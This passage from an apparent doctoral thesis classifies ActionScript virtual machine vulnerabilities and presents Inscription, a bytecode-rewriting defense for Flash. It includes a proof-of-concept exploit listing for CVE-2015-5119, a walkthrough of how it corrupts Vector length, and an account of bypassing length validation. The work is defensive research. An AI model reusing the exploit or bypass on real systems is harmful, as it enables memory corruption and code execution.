(e.g., C/C++) typically have semantics that either implement modular arithmetic or

ascribe “undefined behavior” to overflows, leading the compiled VM code to ignore

overflows. VM developers sometimes overlook this, writing code that stores unexpected

or erroneous values as a result of overflows [199].

Integer overflows cannot generally be detected after the carry and overflow flags

have been changed by subsequent operations, so there is no way for an application to

tell if a result it has calculated previously is correct. This can get dangerous if the

calculation has to do with the size of a buffer or how far into an array to index. Many

integer overflows are not directly exploitable because memory is not being directly

overwritten, but sometimes they can lead to other classes of bugs—frequently buffer

overflows. Integer overflows can also be difficult to spot, so even well-audited code

can be vulnerable [199].

Example AVM Integer Overflow Vulnerability After an ’shl’ is Performed. CVE-

2016-1010 is an ActionScript zero-day vulnerability, which is an integer overflow [122].

The vulnerability occurs when the AVM calculates the size of the buffer, which is

necessary to hold data of BitmapData instances. BitmapData class provides functions

and attributes to allow developers to work with the pixels of a Bitmap instance [11],

and the Bitmap class represents display objects that are .bmp images [10]. The

BitmapData class has a public function, copyPixels, which provides a fast routine

to perform pixel manipulation between images with no stretching, rotation, or color

effects, defined as the following:
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public function copyPixe l s ( sourceBitmapData :

BitmapData , sourceRect : Rectangle , destPo int : Point ,

alphaBitmapData : BitmapData = null ,

a lphaPoint : Point = null ,

mergeAlpha :Boolean = fa l se ) : void

To calculate the size of the sourceRect, which is a Rectangle instance, the AVM

performs an ’shl’ operation, which multiplies the given value by 2. Fig 3.13 displays

the Assembly code of the vulnerable copyPixels function. The ’shl’ operation left

shifts the ecx register twice, which multiples the value of the width of the sourceRect

by 4. If the width of the sourceRect is bigger than 0x40000000, the ’shl’ operation

overflows the integer value. If the width is overflowed, the allocated memory will be

lower than needed. An attacker can exploit this overflow to read and write to arbitrary

memory locations, effectively leading to arbitrary code execution.

Figure 3.13: Assembly code of the vulnerable copyPixels function [122]
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3.3.2 Heap Overflow

A heap overflow is a form of buffer overflow; it happens when a chunk of memory is

allocated to the heap, and data is written to this memory without any bound checking

being done on the data. Even though attack parameters that exploit a heap overflow

vulnerability are different from ones in stack overflow exploits, the security solutions

are quite similar as they are a form of buffer overflow vulnerabilities (please see §3.2.5).

3.3.3 Type Confusion

Type confusion vulnerabilities occur when the program allocates or initializes a

resource such as a pointer, object, or variable using one type, but it later accesses that

resource using a type that is incompatible with the original type. This could trigger

logical errors because the resource does not have expected properties. In languages

without memory safety, such as C and C++, type confusion can lead to out-of-bounds

memory access [150].

Example AVM Type Confusion Vulnerability After a Function is Overridden with

a Value CVE-2015-7645 is a type confusion vulnerability which happens because

the AVM does not guarantee that the type of binding is a method binding [143].

The vulnerability resides in the implementation of the AVM serializer interface,

IExternalizable, which provides control over serialization of a class as it is en-

coded into a data stream [147]. Type confusion occurs when calling the function

writeExternal, which is implemented when a class extends IExternalizable inter-

face. The function is resolved in AvmSerializer with the following:

AvmCore* core = toplevel ->core ();

Multiname mn(core ->getPublicNamespace(t->pool),

core ->internConstantStringLatin1(kWriteExternal ));

m_functionBinding=toplevel ->getBinding(t, &mn);
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The call, toplevel->getBinding, does not guarantee that the binding is a function

binding. Then, the AVM casts the function to a function type without checking the

type of it, which is type confusion [201], with the following:

MethodEnv* method = obj ->vtable ->methods

[AvmCore :: bindingToMethodId

(info ->get_functionBinding ())];

3.3.4 Security Bypass

Security bypass [149] vulnerabilities may occur in the implementation of any secu-

rity defense mechanism, such Address Space Layout Randomization (ASLR), which

introduces artificial diversity by randomizing the memory location of certain system

components to fortify systems against buffer overflow attacks [197].

Example AVM Security Bypass Vulnerability that Disables AVM’s Vector Length

Validation Due to numerous instances of the length property of Vector instances

being corrupted by AVM exploits, the AVM implements a mitigation technique for

Vector corruptions, called Vector.<*> length validation. The mitigation uses a secret

cookie to XOR into a copy of the length properties of Vector instances. The result

of XOR should not be guessable by the attacker, and it is checked whenever the

length property is used. In case a corruption happens, the result of XOR would be

different than the stored value, which indicates that the length property is corrupted.

Therefore, length corruptions are trapped reliably at runtime [28].

CVE-2015-5125 is a security bypass vulnerability targeted by exploits to bypass

the Vector.<*> length validation [142]. The vulnerability is an example of a porous

defense implementation since an exploit can disclose the address of the secret cookie

by fetching the pointer in the Vector metadata. Discovering the pointer of the

secret cookie is the first step in bypassing the Vector.<*> length validation. After
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discovering the pointer of the secret cookie, the exploit focuses on corrupting the

length property of the Vector instance. With the same buffer overflow that is used

to corrupt the length property of the Vector instance, it is possible to corrupt these

values at the same time: (1) the length property of the Vector instance, (2) the

XOR’ed value of the length of the Vector instance with the secret cookie, and (3)

the pointer from which the secret cookie is fetched. An exploit that corrupts all of

these fields can perform heap-spraying or out-of-bounds access without any further

effort [66].

3.4 2013–20202 ActionScript Vulnerability Statistics: Number, Type and Attack

Vector

In this section, we give the most recent number of ActionScript vulnerabilities with

their types and attack vectors. We aim to highlight what researchers can obtain from

the CVE and the NVD databases without doing any further research.
2Until April 1st, 2020

Figure 3.14: Number of ActionScript vulnerabilities per year in CVE and NVD
databases between 2013 and 2020
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Figure 3.15: Total numbers of types of ActionScript vulnerabilities as shown in the
CVE and NVD databases between 2013 and 2019

Fig. 3.14 displays the number of ActionScript vulnerabilities between 2013 and 2020

in the Common Vulnerabilities and Exposures (CVE) [146] collection and the National

Vulnerability Database (NVD) [166]. The number of discovered vulnerabilities in 2015

increased ∼ 340% compared to the previous year. Although the number of ActionScript

vulnerabilities demonstrates a declining trend by years, researchers discovered four

zero-day exploits in the last two years (please see Section 1).

Fig. 3.15 presents the number and types of ActionScript vulnerabilities that have

been discovered since 2013, based on raw vulnerability descriptions in the CVE and

NVD databases.

Unfortunately, the raw descriptions are not coherent and detailed enough for sys-

tematic vulnerability classification. For example, according to these vulnerability

databases, “UAF” vulnerabilities are the most popular, with 251 (∼ 33%) vulnerabil-

ities. “Memory Corruption” vulnerabilities are the second most common, with 225

(∼ 29%) entries. However, although UAF, DF, and overflows (e.g., integer, buffer,
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heap, stack) are typically considered "Memory Corruption" in the field, the databases

do not specify the type of "Memory Corruption" posed by the vulnerabilities, which

hinders performing an accurate vulnerability classification. In addition, a big portion

of ActionScript vulnerabilities is labeled as "Unspecified vulnerability with unknown

attack vector and impact," in the databases. The number of "Unspecified" vulnerabil-

ities is 138 (∼ 18%), which comprises the third biggest vulnerability group. DF and

buffer overflow vulnerabilities, which constitute two of the five major vulnerability

classes, are slightly over 1% of total ActionScript vulnerabilities that have been discov-

ered since 2013. In fact, DF vulnerabilities are special cases of UAF vulnerabilities in

which the freed memory is immediately freed once more to distort the structure of the

garbage collector. One of our important vulnerability classes is “out-of-bounds access”,

and 20 (∼ 3%) of the vulnerabilities provide an out-of-bounds access for exploits. The

other types of vulnerabilities mentioned in the CVE and NVD collections are “type

confusion” (with 47 entries (∼ 6%)), “heap overflow” (with 14 entries (∼ 2%)), and

“security bypass” (with 24 entries (∼ 3%)).

Fig. 3.16 presents the number of types of attacks in the CVE and NVD collections

that can be performed after exploiting ActionScript vulnerabilities. The chart demon-

strates that more than 75% (601/775) of ActionScript vulnerabilities can lead to an

arbitrary code execution, which is one of the most dangerous types of attacks. In

this attack, an exploit can transfer the program-flow to any arbitrary code segment

(remote or in victim machine) to be performed in victim machines. Exploit kits

typically aim to perform arbitrary code execution in victim machines and exploit

ActionScript vulnerabilities due to the connectivity provided by the nature of the

web. Therefore, ActionScript was the primary vehicle for web-based ransomware and

banking trojans in 2016. In addition, ActionScript accounted for ∼80% of successful

Nuclear exploits [47] and six of the top ten exploit kit vulnerabilities [186] in the same

year. Furthermore, more than 90% of malicious web pages exploited ActionScript,
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Figure 3.16: Number and type of attacks between 2013 and 2019.

making ActionScript the #1 attack medium for malicious pages in 2016 [138].

Denial-of-service (DoS) attacks are the next most common type of attacks that can

be performed after triggering ActionScript vulnerabilities. DoS attacks occur when

legitimate users are unable to access information systems, devices, or other network

resources due to the actions of a malicious cyber threat actor [53]. According to the

CVE and NVD collections, more than 26% (202/775) of ActionScript vulnerabilities

can be exploited to perform a DoS attack. The other types of attacks that exploit

ActionScript vulnerabilities are “bypassing security mechanisms” with 72 entries

(∼ 9%), “information disclosure” with 41 entries (∼ 5%), and “privilege escalation”

with five entries (less than 1%). In addition, there are 72 vulnerabilities (∼ 9%) whose

attack vectors are not specified.
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Figure 3.17: CVE entries for "Unspecified" type of vulnerabilities whose impacts and
attack vectors are unknown [144].

3.5 Re-classifying "Memory Corruption" and "Unspecified" Vulnerabilities

As described before, the CVE and NVD databases often do not provide vulnerability

impact, classification, or other important technical details, which are crucial to building

robust security defenses for web-based VMs.

For example, Fig. 3.17 shows some CVE entries for an "Unspecified" type of

vulnerabilities whose impacts and attack vectors are unknown. The NVD provides

more technical information than the CVE provides, including the severity score of

vulnerabilities, known affected software configurations, and references to advisories,

solutions, and tools. However, the additional information does not present the

underlying reasons for these vulnerabilities, such as the location of faulty code segments,

the way of triggering a vulnerability, or an execution path (also known as the PoC),

which triggers the vulnerability in the target application. Fig. 3.18 displays an NVD
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Figure 3.18: An NVD entry for the vulnerability, CVE-2016-4155, which is listed as
unspecific vulnerability and its impact and attack vector is unknown [159].

entry for one of the vulnerabilities, which is listed as unspecific vulnerability, and its

impact and attack vector are unknown in Fig. 3.17.

In this section, we first discuss our methodology for reclassifying "Memory Corrup-

tion" and "Unspecified" vulnerabilities. Second, we walk the reader through how we

analyze the execution of the PoC for an example vulnerability, CVE-2015-5119, which

is our target vulnerability that we discuss in Section 3.2.2. We share our results for

reclassifying "Memory Corruption" and "Unspecified" vulnerabilities by using our

methodology introduced in Section 3.5.1 to provide a more fine-grained vulnerability

classification for researchers.

3.5.1 Our Methodology for Vulnerability Reclassification

Since, the CVE and NVD databases do not provide vital technical details, which

can be helpful to analyze "Memory Corruption" and "Unspecified" web-based VM

vulnerabilities, we manually crawl the web to find more information about each of

those vulnerabilities. We read security articles, tech reports, detailed analyses of

vulnerabilities, and cybersecurity forums published by famous cybersecurity companies
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Figure 3.19: The AVM calls to handle Line 7 in Listing 3.10

such as Kaspersky [75], Trend Micro [218], Microsoft Cybersecurity [138], Syman-

tec [214], McAfee [134], Recorded Future [186], Cisco Duo Security [47, 178], or paloalto

Networks [172]. In addition, we scour exploit databases (e.g., exploit-db.com [68],

Rapid7 [184], circl [48], SecurityFocus [195]) to obtain PoCs of vulnerabilities. By

analyzing the execution PoCs and with this new information we aim (1) to understand

the way vulnerabilities from one vulnerability sub-classes are exploited, and (2) to

reclassify "Memory Corruption" and "Unspecified" vulnerabilities in order to have

more useful vulnerability classification.

3.5.2 Analyzing the Execution of a Vulnerability’s PoC

We used the exploit that triggers our target vulnerability residing in the imple-

mentation of the AVM, provided by a cybersecurity company, Rapid7 [184], which

performs a return-oriented programming (ROP) attack [196]. In an ROP attack, an

attacker hijacks program control-flow by gaining control of the call stack and then

executes carefully chosen machine instruction sequences that are already present

in the machine’s memory, called gadgets [30]. Each gadget typically ends with a

return instruction that allows the attacker to craft an instruction chain that performs

arbitrary operations.

Listing 3.10 demonstrates the exploit code that exploits our target vulnerability.

The exploit attacks the vulnerability is also introduced in §3.2.2. The exploit creates

a dangling pointer after triggering the vulnerability in Line 7. The valueOf function

Figure 3.20: The memory address of m_buffer
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between Line 20-27 creates ten Vector instances in sequence to ensure that one of

them is allocated the memory pointed by the dangling pointer between Line 23-25.

These Vector instances are also stored in an Array instance, _va, so that the exploit

can access them after the valueOf function returns. The dangling pointer points

the first four bytes of the Vector instance in the memory. Since the first four byte

corresponds to the length property, the exploit aims to corrupt it implicitly to obtain

access right on the entire memory. Line 7 writes the return value of the valueOf

function, 0x40 (Line 26), to the most significant byte of the length property with the

index 3 of ByteArray b1 as the many computer architectures adopt little-endian

format. Thus, the new value of the length property becomes 0x400003f0. Since the

exploit does not call the length property explicitly to change it, the AVM does not

allocate large enough memory to the corrupted Vector instance. However, when the

exploit wants to access a memory address which lies beyond the original boundaries

of the Vector instance, the AVM ensures the index used to access the memory

address is smaller than the value of the length property. Therefore, the exploit can

access any arbitrary memory segment using the corrupted Vector instance since the

corrupted value of the length property, 0x400003f0, provides large enough memory

for performing any intended behavior of the exploit.

Fig. 3.19 displays that the AVM calls the ByteArrayObject:: setUIntProperty

function during the execution of the exploit given in Listing 3.10 in the gdb [78]

environment. The function is responsible for assigning values to ByteArray indices.

Line 7 in Listing 3.10 invokes the function. We set a breakpoint at the beginning of

the this function so that we can analyze memory cells individually before and after

triggering the vulnerability. The function takes three parameters: (1) this, which

refers to the b1, (2) i, which refers to the index of the b1 where the value will be

assigned, and (3) value, which is the memory address of the instance mal, represented
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Listing 3.10: The attack that exploits CVE-2015-5119
1 public class malClass extends Sprite {
2 var s t a t i c _corrupted ;
3 public function malClass ( ) {
4 var b1 = new ByteArray ( ) ;
5 b1 . l ength = 0x200 ;
6 var mal = new hClass ( b1 ) ;
7 b1 [ 3 ] = mal ;
8 for (var i = 0 ; i<hClass ._va . l ength ; i++){
9 i f ( hClass ._va [ i ] . l ength > 0x3f0 )
10 _corrupted = hClass ._va [ i ] ;
11 }
12 }
13 }
14 public class hClass {
15 private var b2 = 0 ;
16 public s t a t i c var _va ;
17 public function hClass (var b3 ) {
18 b2 = b3 ;
19 }
20 public function valueOf ( ) {
21 _va = new Array ( 1 0 ) ;
22 b2 . l ength = 0x400 ;
23 for (var i = 0 ; i<_va . l ength ; i++){
24 _va [ i ] = new Vector.<uint>(0x3f0 ) ;
25 }
26 return 0x40 ;
27 }
28 }

in decimal notation. We assign indices 0, 1, and 2 of the b1 with 0xae, which is a

dummy value, so that we can search for the value of 0x00aeaeae to decide the memory

address of the m_buffer, which points to an object of the ByteArray::Buffer class,

which eventually leads to the actual array of bytes [172]. We use the address b1

as the base address of the find function provided by the gdb. Fig. 3.20 displays

that gdb discloses the memory address of the m_buffer as 0xb7b13000. After the

attack triggers the vulnerability, we look at the same memory cell to check side-effect

of the vulnerable valueOf function. Fig. 3.21a shows the value of the m_buffer

as 0x00aeaeae, which is the expected value since indices 0, 1, and 2 of the b1 are

assigned as 0xae. Fig. 3.21b displays the same memory address after the vulnerability

is triggered. Although Line 24 in Listing 3.10 creates a Vector instance with a length

of 0x3f0, the value of the length property of the Vector instance is corrupted and
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becomes 0x400003f0.

The outcome of our analysis for the example vulnerability is that the UAF vul-

nerabilities can create a dangling pointer pointing the memory address of previously

allocated and deallocated Bytearray instance. The pointer, then, can be used to

corrupt subsequently allocated Vector instance to gain access to any arbitrary memory.

This information enables us to concentrate on the allocation/deallocation of objects

during the run-time to mitigate UAF vulnerabilities (please see Section 4 for the

details of our security solution).

3.5.3 Reclassification Results

We use the same methodology that we introduce in the previous subsection to

reclassify ActionScript vulnerabilities labeled as "Memory Corruption" and "Unspec-

ified" in the CVE and NVD databases. To demonstrate, assume that we wish to

reclassify our target vulnerability. Since the PoC first creates a dangling pointer by

freeing a ByteArray instance, and then makes use of the dangling pointer to corrupt

the memory pointed by the dangling pointer, we identify the type of this vulnerability

as a UAF.

As mentioned before, the "Memory Corruption" and "Unspecified" CVE classes

are not very useful for building vulnerability-class-based defenses. The CVE and

NVD databases classify UAF, DF, buffer overflow, heap overflow, and integer overflow

(a) The memory allocation of m_buffer before
triggering the vulnerability

(b) The memory allocation of m_buffer after
triggering the vulnerability

Figure 3.21: Side-effects of the vulnerable valueOf function
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vulnerabilities as different from "Memory Corruption" vulnerabilities despite the fact

that a "Memory Corruption" vulnerability belongs to one of these vulnerability sub-

classes. Also, a significant number of ActionScript vulnerabilities with "Unspecified"

type and unknown attack vector were listed in the CVE and NVD databases. More

specifically, the CVE and NVD databases do not provide types for 138 ActionScript

vulnerabilities, which is more than 18% of the disclosed ActionScript vulnerabilities

since 2013. Therefore, we examine ActionScript vulnerabilities labeled as "Memory

Corruption" and "Unspecified" in the CVE and NVD databases to decide their actual

types. This enables us to understand the main reasons for "Memory Corruption"

vulnerabilities and to identify the attack surface of the AVM better.

Fig. 3.22 demonstrates the number of ActionScript vulnerabilities after we reclassify

"Memory Corruption" and "Unspecified" ActionScript vulnerabilities. Reclassified

"Memory Corruption" vulnerabilities constitute 69% of all ActionScript vulnerabilities,

with 535 out of 775 vulnerabilities. Also, we decide the sub-class of 33 "Memory

Corruption" vulnerabilities. In addition, we determine the type of 84 out of 138

"Unspecified" ActionScript vulnerabilities. Therefore, the percentage of "Unspecified"

ActionScript vulnerabilities drops to 7% from 18%. By leveraging our reclassification

of ActionScript vulnerabilities labeled as "Memory Corruption" and "Unspecified"

by the CVE and NVD databases, we present and evaluate our security solution,

Inscription, which provides vulnerability- or vulnerability-class-specific mitigation for

ActionScript vulnerabilities. Inscription is the first Flash defense that automatically

transforms and secures untrusted ActionScript binaries in-flight against major AVM

exploits without requiring any updates or patches of VMs or web browsers.

3.6 Conclusion

In this chapter, we introduce and analyze sub-classes of "Memory Corruption"

vulnerability classes to obtain more comprehensive corpus of ActionScript vulnerabili-

ties disclosed between 2013 and April 1st, 2020, and we reclassify loosely-classified
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Figure 3.22: Types of ActionScript Vulnerabilities After We Reclassify "Memory
Corruption" Vulnerabilities

vulnerabilities in that set.

Our web-based VM vulnerability reclassification is more comprehensive and accurate

than the CVE and NVD databases provide. To achieve this, we first present technical

details that are not included in the CVE and NVD databases about each of vulnera-

bility class by introducing example vulnerabilities. Second, we reclassify ActionScript

vulnerabilities labeled as the generic "Memory Corruption" and "Unspecified" vulner-

abilities by the CVE and NVD databases to determine their sub-type as one of our

more fine-grained, sub-classes of "Memory Corruption" vulnerabilities. We reclassify

60 such "Memory Corruption" and such "Unspecified" vulnerabilities by analyzing the

execution of PoC exploits provided by exploit databases and vulnerability mitigation

projects’ collections.



CHAPTER 4: INSCRIPTION: AN IN-LINED REFERENCE MONITORING

ENGINE FOR ACTIONSCRIPT/FLASH VULNERABILITIES1

4.1 Introduction

We propose and evaluate Inscription [212], the first Flash defense that automatically

transforms and secures untrusted AS binaries in-flight against major Flash Player VM

exploits without requiring any updates or patches of VMs or web browsers. Inscription

works by modifying incoming Flash binaries with extra security programming that self-

checks against known VM exploits as the modified binary executes. Flash apps modified

by Inscription are therefore self-securing. This hybrid static-dynamic approach affords

Inscription significantly greater enforcement power and precision relative to static

filters.

Inscription conservatively assumes that untrusted Flash binaries might be completely

malicious. The extra security programming it adds therefore resides within potentially

hostile scripts. Inscription must therefore carefully protect itself against tampering

or circumvention by the surrounding script code. Moreover, we assume that all

implementation details of Inscription might be known by adversaries in advance of

preparing their attacks. Inscription therefore modifies and replaces all potentially

dangerous script operations in each binary to ensure that its security checks cannot

be bypassed even by knowledgeable adversaries who are aware of the defense.

Our binary transformation algorithm is implemented as a web script. This allows

web page publishers and ad networks to protect their end-users from malicious third-

party scripts (e.g., malvertisements) that may get dynamically loaded and embedded
1This chapter includes previously published [210, 212, 234] joint work with Meera Sridhar, Abhinav

Mohanty, Vasant Tendulkar and Kevin W. Hamlen.
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into served pages on the client side, even when end-users are potentially running legacy,

unpatched browsers and VMs. To do so, page publishers simply include Inscription’s

binary rewriting script on their served pages, or ad networks make the script part

of their ad-loading stubs. When the page is viewed, the included script dynamically

analyzes and secures all incoming Flash scripts on the client side before rendering

them. We consider this deployment model to be a compelling one, since publishers

and ad networks are often strongly motivated to protect their end-users from attacks

(to avoid reputation loss, and therefore loss of visitors), but are rarely willing to

go so far as to withhold potentially dangerous services (e.g., third-party ads) from

clients running outdated software. Inscription affords publishers the former without

sacrificing the latter.

Our approach expands upon prior works that have leveraged Flash app binary

modification to customize apps [139] or enforce custom security policies [124, 181].

Inscription is the first work to innovate code transformations that can secure apps

against exploits of major, real-world VM vulnerability classes. That is, it is the first

such work to consider the underlying VM as not fully trusted. By introspectively

determining which VM version is running and limiting its security guard implementa-

tion to operations known to be reliable for that version, it can secure known unsafe

operations with safe replacements.

The remainder of the chapter is organized as follows: Section 4.2 presents the

implementation of our security solution, Inscription [212], which leverages in-lined

reference monitoring [234] approach to transform and secure ActionScript binaries

in-flight against cyberattacks that exploit major AVM vulnerability classes. Section 4.3

discusses Inscription’s defense for our case studies we introduce in Section 3.2. Sec-

tion 4.4 presents our generalized solution that mitigates UAF and DF vulnerabilities

in the AVM. Section 4.5 discusses the results of our experiments. Section 4.6 provides

our discussion for the implementation, deployment, and limitation of Inscription.
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Section 4.7 concludes.

4.2 In-lined Reference Monitoring Techniques for ActionScript Bytecode

IRM ensures that untrusted executables satisfy given security policies by inserting

security guards around security-sensitive binaries. These security guards make sure

that the target program does not violate security policies which are enforced, without

changing benign program behaviors. In other words, behaviors of instrumented

application is identical to the original on all executions that do not violate the policy.

The tool used to insert security guards into target applications is called the rewriter,

and the rewritten code is called instrumented or modified code.

Rewriters are used to instrument the bytecode based on given security policies

in order to have policy-adherent executables. Our IRM framework for ActionScript

bytecode automatically (1) disassembles and analyzes binary Flash programs prior to

execution, (2) instruments them by augmenting them with extra binary operations that

implement runtime security checks, and (3) re-assembles and packages the modified

code as a new, security-hardened Flash binary. This secured binary is self-monitoring,

and can therefore be safely executed on older versions of Flash Player which lack the

security patches. Security guards can be inserted into ActionScript bytecode with

binary class-wrapping or direct monitor in-lining in form of bytecode instructions.

Figure 4.1: IRM Instrumentation as Wrapper Class [210]



65

4.2.1 Binary Class-wrapping

Some policies require sealing security holes in vulnerable methods of particular AS

classes. For such policies, our rewriter elegantly extends the AS vulnerable class in

the untrusted code through a wrapper class; the wrapper class includes reified security

state variables for maintaining security state, and overrides all vulnerable methods in

the original class. The wrapper class is then compiled as an AS package into a SWF

file, Monitor.swf and merged directly into the untrusted SWF, creating a new, safe

SWF. Fig. 4.1 shows our wrapper-class rewriting framework.

Our rewriter ensures that all invocations of the vulnerable class (including object

instantiations and method calls) in the original SWF are replaced by our new safe

wrapper for the class. This is achieved by maintaining a hash-map that maps the

package name of the vulnerable class to the package name of our wrapper class. When

merging the monitor package with the untrusted SWF, our rewriter scans the untrusted

SWF’s bytecode for all occurrences of the vulnerable class’ package name and replaces

them with the mapped package name of our wrapper class. Please see §4.6 for a

detailed security analysis of this rewriting technique.

Some of our policies use a combination of both rewriting techniques. In that case,

our rewriter uses wrapper class rewriting to produce Monitor.swf with the safe

implementation of the vulnerable class or method, which is subsequently used as

input for the binary rewriter; the binary rewriter then instruments its monitor code

as bytecode instructions directly into the malicious SWF. While all of our policies

can be enforced solely using our bytecode instrumentation technique, the combination

approach provides rewriting ease and simplicity in several cases (§4.3).

4.2.2 Direct Monitor In-lining in Form of Bytecode Instructions

Figure 4.2 depicts our ActionScript bytecode rewriter that adopts direct monitor

in-lining technique where the rewriter insert security guards into function definitions



66

Figure 4.2: IRM Instrumentation as Bytecode Instructions [210]

in form of the intermediate representation (IR) which is a readable representation

of source code for VMs. We use the ActionScript bytecode (ABC) Extractor, from

the Robust ABC [Dis]-Assembler (RABCDAsm) tool kit [173] to extract bytecode

components [6] from the original, untrusted SWF (which packages AS code with data

such as sound and images). The rewriter takes ABC file as input and parses it in

order to generate the AST represented as Java data structures according to the AS

3.0 bytecode file format specification. Our rewriter, also written in Java, subsequently

rewrites the untrusted bytecode based on specified security policies, inserting guard

code directly as ABC instructions into the Java structures. Post-rewriting, a Java

code-generator converts the instrumented Java structures back into ABC format and

outputs the ABC file. Finally, the RABCDAsm ABC Injector [173] re-packages the

modified bytecode with the original SWF data to produce policy-adherent SWF file.

4.3 Inscription Defenses for Our Case Studies

To more explicitly demonstrate our technical approach, we here present Inscription’s

IRM defense for the six PoC exploits that we introduce in Section 3.2. Our defense

for these six detailed case studies provides evidence of the generality of our approach

by showcasing reference monitor in-lining strategies that suffice to close many other

difficult, real-world, dangerous vulnerabilities. For example, our class-wrapping

approach for mitigating valueof() exploits (see Section 4.3.2) directly mitigates
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almost 20 other reported vulnerabilities in the literature.

4.3.1 Double-Free Defenses

An important class of web attacks exploit DF vulnerabilities in various legacy

versions of the Flash Player. DF exploits corrupt the VM’s memory management data

structures, giving the exploiting Flash app a pair of corrupt object references that

the VM believes are distinct at the bytecode level, but that actually refer to the same

storage location. By giving the objects different types, the app can write to data fields

of one object that reside atop method pointers of the other, affording the malicious

app arbitrary remote code execution capabilities when it calls the corrupted method

pointers.

Inscription blocks DF exploit attempts by adding an extra layer of memory man-

agement at the bytecode layer to detect and suppress free operations that target

already-freed objects. This extra layer is implemented as an in-lined addition to the

app’s bytecode, making the app self-securing, and shielding the underlying VM from

potentially dangerous double-free requests that vulnerable VMs fail to catch. The

bytecode implementation leverages synchronization primitives that are known to be

reliable on all versions of the Flash Player, making it version-independent.

Inscription’s defense against the DF-attack given in case study #3 (Section 3.2.3)

in-lines bytecode that independently double-checks that each ByteArray object is

cleared at most once. It does so by introducing the wrapper class defined in Listing 4.1,

which augments the app with a global, thread-safe hash table that explicitly tracks

object-frees. In particular, Inscription’s pre-compilation phase first creates a wrapper

for the ByteArrayclass, extending it, and thereby inheriting all functionality of the

original class. The wrapper class adds a static Dictionary object that uses objects

as keys and non-null integers as values. Declaring the dictionary to be static makes it

a fixed, global object shared across all workers. Locating the hash table within our
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Listing 4.1: ByteArray safe wrapper mitigating DF vulnerabilities class
1 package Monitor {
2 public class ByteArray extends f l a s h . u t i l s .ByteArray{
3 public s t a t i c const hashtab le : f l a s h . u t i l s .Dictionary ;
4 public var orig_byteArray : f l a s h . u t i l s .ByteArray ;
5 public function ByteArray ( ) {
6 super ( ) ;
7 hashtab le [ this ] = 0 ;
8 orig_byteArray = this ;
9 }
10 public function c l e a r ( ) : void {
11 i f (Monitor .ByteArray . hashtab le [ this ] == 0) {
12 Monitor .ByteArray . hashtab le [ this ] = null ;
13 super . c l e a r ( ) ;
14 }
15 }
16 public function valueOf ( ) : f l a s h . u t i l s .ByteArray {
17 return this . orig_byteArray ;
18 }
19 }
20 }

private Monitor package namespace prevents any hostile, surrounding app code from

accessing it to corrupt its data.

To make our implementation thread-safe, we introduce a lock for our dictionary

in the form of a 1-integer, shareable ByteArray . Inscription-instrumented threads

always acquire the lock to make updates on the dictionary and subsequently release

the lock. For brevity and simplicity of the presentation, we only show single-threaded

code listings in this paper; however, our actual implementation maintains thread-safe

synchronization.

We override the ByteArray constructor inside the wrapper class, so that whenever

a new ByteArray object is created, an entry for it is added to the global hash table

(lines 5–9). Our overridden clear() method (lines 10–15) only allows a ByteArray

to be freed if its value in the hash table is non-zero (implying it has not been freed

already). Our monitor then sets it to null before safely calling the free property of

the ByteArray class. However, if the value stored in the hash-table is zero or null,

then our monitor suppresses the free operation, which prevents the DF. Additional

synchronization code (not shown) prevents these methods from executing concurrently.
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Listing 4.2: IRM guard code for SharedObject writes
1 var sob j : SharedObject = SharedObject . g e tLoca l ( " record " ) ;
2 i f ( cur r ent_s i z e + o . l ength < max_size ) {
3 cur r ent_s i ze += o . l ength ;
4 cur r ent_s i ze . f l u s h ;
5 sob j . data . l o g s = o ;
6 }

Inscription’s rewriter then merges our monitor containing the wrapper class with the

untrusted SWF so that every call to ByteArray and ByteArray.clear() is replaced

by our overridden methods. After instrumentation of this IRM code, the rewritten

safe SWF is produced.

Inscription’s defense against another DF-attack introduced in case study #4 (Sec-

tion 3.2.3) is to enforce the storage limit preemptively—before the objects undergo

flush attempts. This ensures that the AVM’s pending flush flag always gets reset

during flushes, ensuring proper synchronization of concurrent flushes on legacy VMs.

Specifically, Inscription in-lines bytecode that tracks a running sum (the IRM’s reified

security state) of all writes to SharedObjects in each domain. Writes that would

exceed the storage limit are suppressed.

To enforce this policy, the bytecode rewriter injects a thread-safe, global, static

variable of type SharedObject, which counts the total size of all SharedObjects

belonging to the web domain. Using a SharedObject as the counter allows it to access

all other SharedObjects across the domain even if there are multiple SWFs.

The rewriter scans the application’s bytecode to identify all operations where a

SharedObject is created or updated, and inserts guard code that tests and updates

the counter, as shown in Listing 4.2. In particular, before each write to object o

(line 5), the current size for the domain is synchronized, tested, and updated (lines 1–3).

Since the counter is also a SharedObject, we explicitly flush it to the disk (line 4)

so that it remains updated across SWFs. Additional synchronization bytecode (not
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shown) ensures that these operations are atomic. Listing 4.2 shows the bytecode

instrumentation at the source level for clarity, but the actual instrumentation is done

directly at the bytecode level.

CVE-2014-0574, CVE-2015-0312 and CVE-2015-0346 are similar vulnerabilities

that Inscription can prevent from being exploited.

4.3.2 Use-After-Free Defense

Another large class of web attacks exploit UAF vulnerabilities in various legacy

versions of the Flash Player [22, 69, 137, 183]. UAFs afford attackers similar hijacking

opportunities to DFs (see Section 3.2.3). By retaining a dangling pointer to an object

that has been freed by the AVM’s memory manager, a malicious app can contrive to

allocate a new object of different type atop the vacated storage space. As with DFs,

this allows writes to the data fields of one object to corrupt method pointers of the

other object stored at the same location, resulting in arbitrary remote code execution

by malicious apps.

Although UAFs and DFs offer similar attack opportunities, mitigation of UAFs

requires a substantially different IRM enforcement approach relative to DFs. This is

because the security-violating operation that facilitates the attack is retention of a

dangling pointer, which is not detectable merely by monitoring object allocations and

deallocations. To thwart UAF exploits, Inscription therefore extends its bytecode-level

memory management layer presented in Section 4.3.1 with an additional object alias

tracking capability. This allows the memory manager to suppress attempted frees

of objects to which other threads retain references, shielding vulnerable VMs from

dangerous frees that could result in a UAF.

Most Flash UAF vulnerabilities arise due to the AVM’s mismanagement of objects

that are mutable, can change size at run time, have explicit clear or flush operations,

which ideally should free all assignments of the object from the memory and prevent

dangling pointers, or are nullified (null) while being subscribed by some other object.
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To secure such operations on potentially vulnerable AVMs, Inscription implements

an extra layer of memory management at the bytecode level within the app code.

The extra layer consists of wrappers that interrupt the creation of such objects,

remembering them in a secure Dictionary (HashTable). The rewriter exhaustively

scans the code to find all assignments that might reference these objects, and maintains

an explicit reference count for each in the Dictionary. Explicit clear, flush and

null operations in the app that reference these objects are replaced with bytecode

that checks the Dictionary for dangling references before clearing the object from

memory. This blocks many AVM-level UAF exploits.

To cover as many potentially vulnerable operations as possible with our defense

(even operations for which no specific AVM vulnerability is yet known by defenders),

we built a crawler that parses all the AS3 API documentation (web pages) to find all

